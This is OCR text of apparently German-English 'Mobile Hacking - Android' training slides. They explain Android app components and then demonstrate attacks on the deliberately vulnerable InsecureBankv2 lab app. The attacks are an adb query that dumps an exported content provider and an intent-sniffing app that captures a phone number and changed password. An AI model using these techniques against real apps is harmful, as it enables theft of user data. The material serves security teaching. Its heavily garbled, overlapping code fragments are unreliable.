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ACTIVITIES

activity represents a single screen with a user interface

= email app might have one activity that shows a list of new emails
= another activity to compose an email,

= and another activity for reading emails

each one is independent of the others

different app can start any one of these activities (if the email app allows it)

camera app can start the activity in the email app that composes new mail, in order for the user to
share a picture
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SERVICES

= serviceis a component that runs in the background to perform long-running operations or to perform
work for remote processes

= does not provide a user interface
= service might play music in the background while the user is in a different app
= might fetch data over the network without blocking user interaction with an activity

= another component, such as an activity, can start the service and let it run or bind to it in order to
interact with it
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CONTENT PROVIDERS

= content providermanages a shared set of app data

= store the data in the file system, an SQLite database, on the web, or any other persistent storage
location your app can access

= through the content provider, other apps can query or even modify the data (if the content provider
allows it)

= Android system provides a content provider that manages the user's contact information. As such,
any app with the proper permissions can query part of the content provider (such
as ContactsContract.Data) to read and write information about a particular person
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BROADCAST RECEIVERS

broadcast receiveris a component that responds to system-wide broadcast announcements
= broadcast announcing that the screen has turned off, the battery is low, or a picture was captured

= et other apps know that some data has been downloaded to the device and is available for them to
use

= although broadcast receivers don't display a user interface

=  More commonly, though, a broadcast receiver is just a "gateway" to other components and is
intended to do a very minimal amount of work

= broadcast receiver is implemented as a subclass of BroadcastReceiver and each broadcast is
delivered as an Intent object
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INTENTS

= activities, services, and broadcast receivers—are activated by an asynchronous message called an
intent

= |ntents bind individual components to each other at runtime

= Anintentis created with an Intent object, which defines a message to activate either a specific
component or a specific type of component—an intent can be either explicit or implicit, respectively

= For activities and services, an intent defines the action to perform
= forexample, to "view" or "send" something

may specify the URI of the data to act on
= among other things that the component being started might need to know
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ZUSAMMENFASSUNG

Activity:
= different app can start any one of these activities (if the email app allows it)

Service:

= another component, such as an activity, can start the service and let it run or bind to it in order to
interact with it

Content providers:

= through the content provider, other apps can query or even modify the data (if the content
provider allows it)

Broadcast receivers:
= More commonly, though, a broadcast receiver is just a "gateway" to other components

Quelle: https://developer.android.com/guide/components/fundamentals.html
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ZUSAMMENFASSUN

Activity:
= different app ca

Service:

= another compo or bind to it in order to

interact with it

Content providers:

= through the co a (if the content

provider allows

Broadcast receive

= More commonl omponents

Quelle: https://developer.android.com/guide/components/fundamentals.html

-T E Systems [ - Intern - Marko Winkler / Mobile Hacking - Android 15.02.2017 10



/"777#«& LJ‘M:E

EINFUHRUNG - TERMINOLOGIE Z

ANDROID MANIFEST

T-SYSTEMS MULTIMEDIA SOLUTIONS

1Y

"7 InsecureBankv2 :j:- [Japp :j:- [ src [ main :j:- ‘& AndroidManifest, xml :j:-

i app-release.apk
(= build.gradle
E hs_err_pid19425.log
E proguard-rules.pro
E replay_pid19425.log
[ gradle
E .gitignore
() build.gradle

r.'ﬁ gradle.properties
E‘ —dla..

|* - -Systems-

& AndroidManifest.xml x

o | & Android EECRE
’E‘ [2 InsecureBankv2 (C:\optiools) Android-Inze
mE i

= [ .idea
= 3 app

[ arc
g [ androidTest
S’ "1 miain
ﬁ Miava
:}I [ res

3 AndroidManifest. xml

@ ic_launcher-web.png
= -
2 E .gitignare
[=3 .
3 [& app.iml
® ¢| app-debug.apk

Gradle project sync failed. Basic functionality {e.g. editing, debugging) will not work properly.

A e A e i A G e G e e o
<factivity>
<actiwvity

android:name=".ViewStatement"

android:exported="true"

android:label="gstring/title activity wview statement" >
<factivity>

<provider
android:name=".TrackUserContentProvider"
android:anthorities="com.android. insecurebankv?.TrackUserContentProvider"
android:exported="true" >

</provider>

<receliver
android:name=" .MyBroadCastReceiver"
android:exported="true" >
<intent-filter>
<action android:name="theBroadcast" >
<faction>
</intent-filter>
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¢ InsecureBankv2 - [C:\opt\tools\Android-InsecureBankv2\InsecureBankv2] - [InsecureBankv2] - ..\app\src\main\java\com\android\insecurebankv2\PostLogin.ja
File Edit View MNavigate Code Analyze Refactor Buld Run Tools YCS Window Help

ODHO ¢#» X0 QAR &> - Jpesehal ¥@H LE® ?

[*2 InsecureBankv2 ' [“app ' [“1src » [imain » [java » [71com [ android [ insecurebankv - [ Postlogin.java

-ﬁ- Android - E AndroidManifest.xm| % | [& PostLogin.java * ‘ [;‘5 LoginActivity.java *
= Iés:::h“kvz R e Gradle project sync failed. Basic functionality {e.q. editing, debugging) will not work properly.
[1app
[ src
[ androidTest
[ main
M java
[ com
[ android v activity
[ insecurebankv2
B ChangePassword. java /7 The = s tF ¥
Bcryptoclassqava Button :hangepassmi button;
® B Dologin.java String uname;

[P DaTransfer.iava

{4 Android Virtual Device Manager ncestate) |

Your Virtual Devices s

Android Studio

R.id.rocotStatus);

Mame Resolution Targe

- dns demo avd1 480 = 800: hdpi - Android 5.1 .
ITd (R. id. trf_button) ;

W View.OnClickListener() {

dns demo avd2 430 = 300: hdpi Android 5.1 {Google APIs)
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ACTIVITY

i ey
<actiwvity

android:name=".PostLogin"

android:exported="trus"

android:label="Estring/title activity post login" >
<factivity>

/.PostLogin
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AcTvITY

<actiwvity
andro
andro
andro
</activit]

=

| -
=r

ek

Autofill Credentials 2/

S Securit
Innovation-

THE APPLICATION SECURITY COMPANY

st login" >

|* - -Systems-
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ACTIVITY

== Postlogin

<actiwvity
andro)
andro

Transfer

andro Ft_login" >

<factivity

View Statement

Change Password

Device not Rooted!!
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BROADCAST RECEIVER

<receliver
android:name=" MyBroadCastReceiver"

android:exported="true" >

<intent-filters
<action android:name="theBroadcast"

<Sfactions
</intent-filter>
</receivers

e

public class MyBroadCastReceiver extends BroadcastReceiver |

String usernameBase&dByteString;
public static final String MYFREF3 = "mySharedPreferences";

intent.getStringExtra {"phonenumber") ;

String newpgss = intent.getStringExtra("newpass"):;

String phn 3

if (phn != mull) {

try {
= context.getSharedPreferences (MYFREFS, Context.MODE WORLD READABLE) ;

SharedPreferences settings =
settings.getString ("EncryptedUsername", null);

final String username =
byte[] usernamcBase6dByte = Basetd.decode (username, Basefd.DEFRAULT) ;

Marko Winkler / Mobile Hacking - Android 15.02.2017
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BROADCASTR

<receliver
android:name=" MyBroadCastReceiver"

android:exported="trus" >
<intent-filter>
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public class MyBroadCastReceiver extends BroadcastReceiver |

String usernameBase&dByteString;
public static final String MYFREF3 = "mySharedPreferences";

|* - -Systems-

intent.getStringExtra {"phonenumber") ;

String newpgss = intent.getStringExtra("newpass"):;

String phn

if (phn '= null}) {

Ery |
= context.getSharedPreferences (MYPREFS, Context.MODE WORLD READARLE) ;

SharedPreferences settings =
= settings.getString ("EncryptedUsername”, null);

final String username =
byte[] usernamcBase6dByte = Basetd.decode (username, Basefd.DEFRAULT) ;
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BROADCAST RECEIVER

<receiver
android:name=" MyBroadCastReceiver"
android:exported="trus" >
<intent-filters

¥ am : = C id.insec

cCom.a

public class MyBr iver |
String userna
public static erences";
@0verride

1|:r:l3]icvn.i.du nt) |

String rh r')
String ne ") ;
if {(phn !
Ery |

5 et5SharedPreferences (MYFREFS, Context.MODE_WORLD REALDARLE) ;

f] ring {"Encryptedisername”, null):

b Updated Password from: ode {userfame’r EB.SEE‘;:IEEAE%II’ d

Dinesh@123$ to: Dinesh@123!
V.
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public class TrackUserContentProvider extends ContentProvider |

- e A ey A e g e ] mile o = - — T =l T e - e e
n1s Contenc provider vialn 15 a modified code from F¥F.3nAdYroldpeniesclng. Com

static final String FROVIDER NAME = "com.android.insecurebankv.TrackUserContentProvider";
The Content provider that handles all the Etracked user history

statlc final 3tring URL = "content://" + FROVIDER NAME + "/trackerusers";

static final Uri CONTENT URI = Uri.parae (UEL);

static final String name = "name";

static [inal int urifode = 1;

static [inal UriMactcher uriMatcher;

private static HashMap <« String, String > wvalues;

private 30LiteDatabase db;

static final Sctring DATABASE MAME = "mydb";

gtatic final String TRABLE NAME = "names";

static final int DATABASE VERSICN = 1;

static final String CREATE DB TABLE = " CEEATE TABLE " + TRBLE NRME + " (id INTEGER FRIMARY EEY AUTOINCEEMENT ,

" + " name TEXT NOT HULL) :"
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public class TrackUserColl bl dns@ubuntu. ~fAndrmdf5dk!platfurm tools

static

static
static
static
static
static

private static HashM{eI0R
private SQLiteDataba{efiNE

static
static
static
static

dns@ubuntu:~/Android/sdk/platform-tools$ ./adb shell

froot@generic:/ # content query --uri content://com.android.insecurebankv2
query --uri content://com.android.insecurebankv2.Trac

st el . android. insecurebankv2.TrackUserContentProvider/trac

he Content r::kerUSEFS

final 3tring
Final Uri CONSMNS
final String
Final int uri(ieek
final UriMatcHiislue

=

id=1, name=dine
id=2, nam
id=3, name
id=4, name=dine
id=5, name=dine
id=6, name=dine

o

jrrp—
- =

A M M M M M M M
[¥5]

e e e e e e e

final String ROW:
Y e

final String Row id=7 di
—pr A_ Y
Final int DATAAAEE wd=/, name=dine

Final String (UILE id=8, name=jack
root@generic:/ #

Oh LN o W P

Ui A n (¥4 ]

|
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| 5|Iﬂ’lnten|5 | app.\:j:- B src.\:j:- [ main [ java [ com 71 android B dnsx} (| mif"ﬁntents.\:j:- [3 MainActivity.java

— W &L:ff”/i::j
Tyitel
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|* - -Systems-

o | roi [ - ecejver.java ainActivity.java = & AndroidManifest.xml %
5 | i Android | 0 = | % 1| [GmR @ MainActivity @
i}
=3 Sniffintents (C:'\optitools\Android-InsecureBanky Z\wip-attackerco
£ = P id Y - o Gradle project sync failed. Basic functionality (e.g. editing, debugging) will not wark properly.
- Jidea
" 1 app package com.android.dns.sniffintents;
M src ) .
+impor
g [*1 androidTest
g [ main
A [“1iava . . . . .
) pubklic class MainRctivity extends RAectionBarlctivicy |
utton bypasslogin;
v B3 com B b Logi
[*1 android
- [ dns BOverride
,E_ [ sniffintents protected void onCreate (Bundle savedInstanceState) |
3 B MainActivity.java super.onCreate (savedInstanceState) ;
é} I_-&. MyReceiver.java setContentView (R.layout.activity _main):
[Ires IntentFilter filter = new IntentFilter ("theBroadcast")
E AndroidManifest, xml MyReceiver receiver = new MyReceiver():
E| .gitignore registerBeceiver (receiver, filter);
[; app.iml TextView tl = (TextView) [indViewById(R.id.textView);
(% build. gradle
E| proguard-rules.pro
[ gradie Bundle extras = getlntent().getExtraa();
- if {extras != null) {
EI -gtignore tl.setText ("Phone Number is: " + extras.getString("phoner
(# build.gradle ) ) ’ g gie )
ml gradle.properties
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android dns - sniffintents | 4 MainActivity.java -

ﬁ_ @ MyReceiver.java ® @ MainActivity java = & AndroidManifest.xml x

i}

E Gradle project sync failed. Basic functionality (e.g. editing, debugging) will not wark properly.

Al

s

5. dinesh Snifflntents

5

&

? v

a Phone Number is: 15555215554 and New

w A EE ] . .

s Password is: Dinesh@123!

1%;
IntentFilter filter = new IntentEiltE]lc{"theErcadcast":l.'

Change Password MyReceiver receiver = new MyReceiwver();

registerBeceiver (receiver, filter);

m app.iml TextView tl = (TextView) findViewById(R.id.textView);
#* build.gradle
=| proguard-rules.pro

aradle Bundle extras = getlntent().getExtraa();

- if {extras != null) {

=| -grtignore 1 tText {"Ph Tl i "o+ t tStri "ph
tl. ! " . ! 1

:‘I:-uild.gradle } setText | one Mumber is extras.ge ring {"phoner

4l] gradle.properties
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SENSITIVE DATA

http://resources.infosecinstitute.com/andr
oid-hacking-security-part-9-insecure-local-
HARDCODED STRINGS storage-shared-preferences/

if (phn !'= null) |

try |

SharedPreferences settings = context.getSharedPreferences (MYPREFS, Context.MODE WORTD B
final String username = 3ettings.getString("Encryptedizername", null);
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ANALYSE

= https://ibotpeaches.qgithub.io/Apktool/
= reverse engineering Android apk files

= https://github.com/skylot/jadx
= Dexto Java Decompiler

= https://bitbucket.org/pxb1988/dex2jar/downloads
= Read/write the Dalvik Executable (.dex) file
= Convert.dex file to .class files

= disassemble dex to smali files and assemble dex from smali files

SCA

= https://qgithub.com/linkedin/qgark

=  QARK s an easy to use tool capable of finding common security vulnerabilities in Android
applications
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FLASHBACK

32C3

Auf dem Weg verTAN

Uber die Unsicherheit von App-basierten TAN-Verfahren im Onlinebanking

Vincent Haupert
28. Dezember 2015

Lehrstuhl fur T-Sicherheitsinfrastrukturer

Friedrich-Alexander-Universitat Erlangen-Nurnberg

= https://media.ccc.de/v/32¢c3-7360-un sicherheit von app-basierten tan-

verfahren im onlinebanking#video&t=79

DefCon

= Vortrag backdooring the frontdoor
= Q:,Wie hast du die iPhone App geknackt?*
= A:,lch habe die Android App decompiliert...”

]} - -Systems-
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HTTPS://GITHUB.COM/DINESHSHETTY/ANDROID-INSECUREBANKV2
HTTPS://DEVELOPER.ANDROID.COM/GUIDE/COMPONENTS/FUNDAMENTALS.HTML
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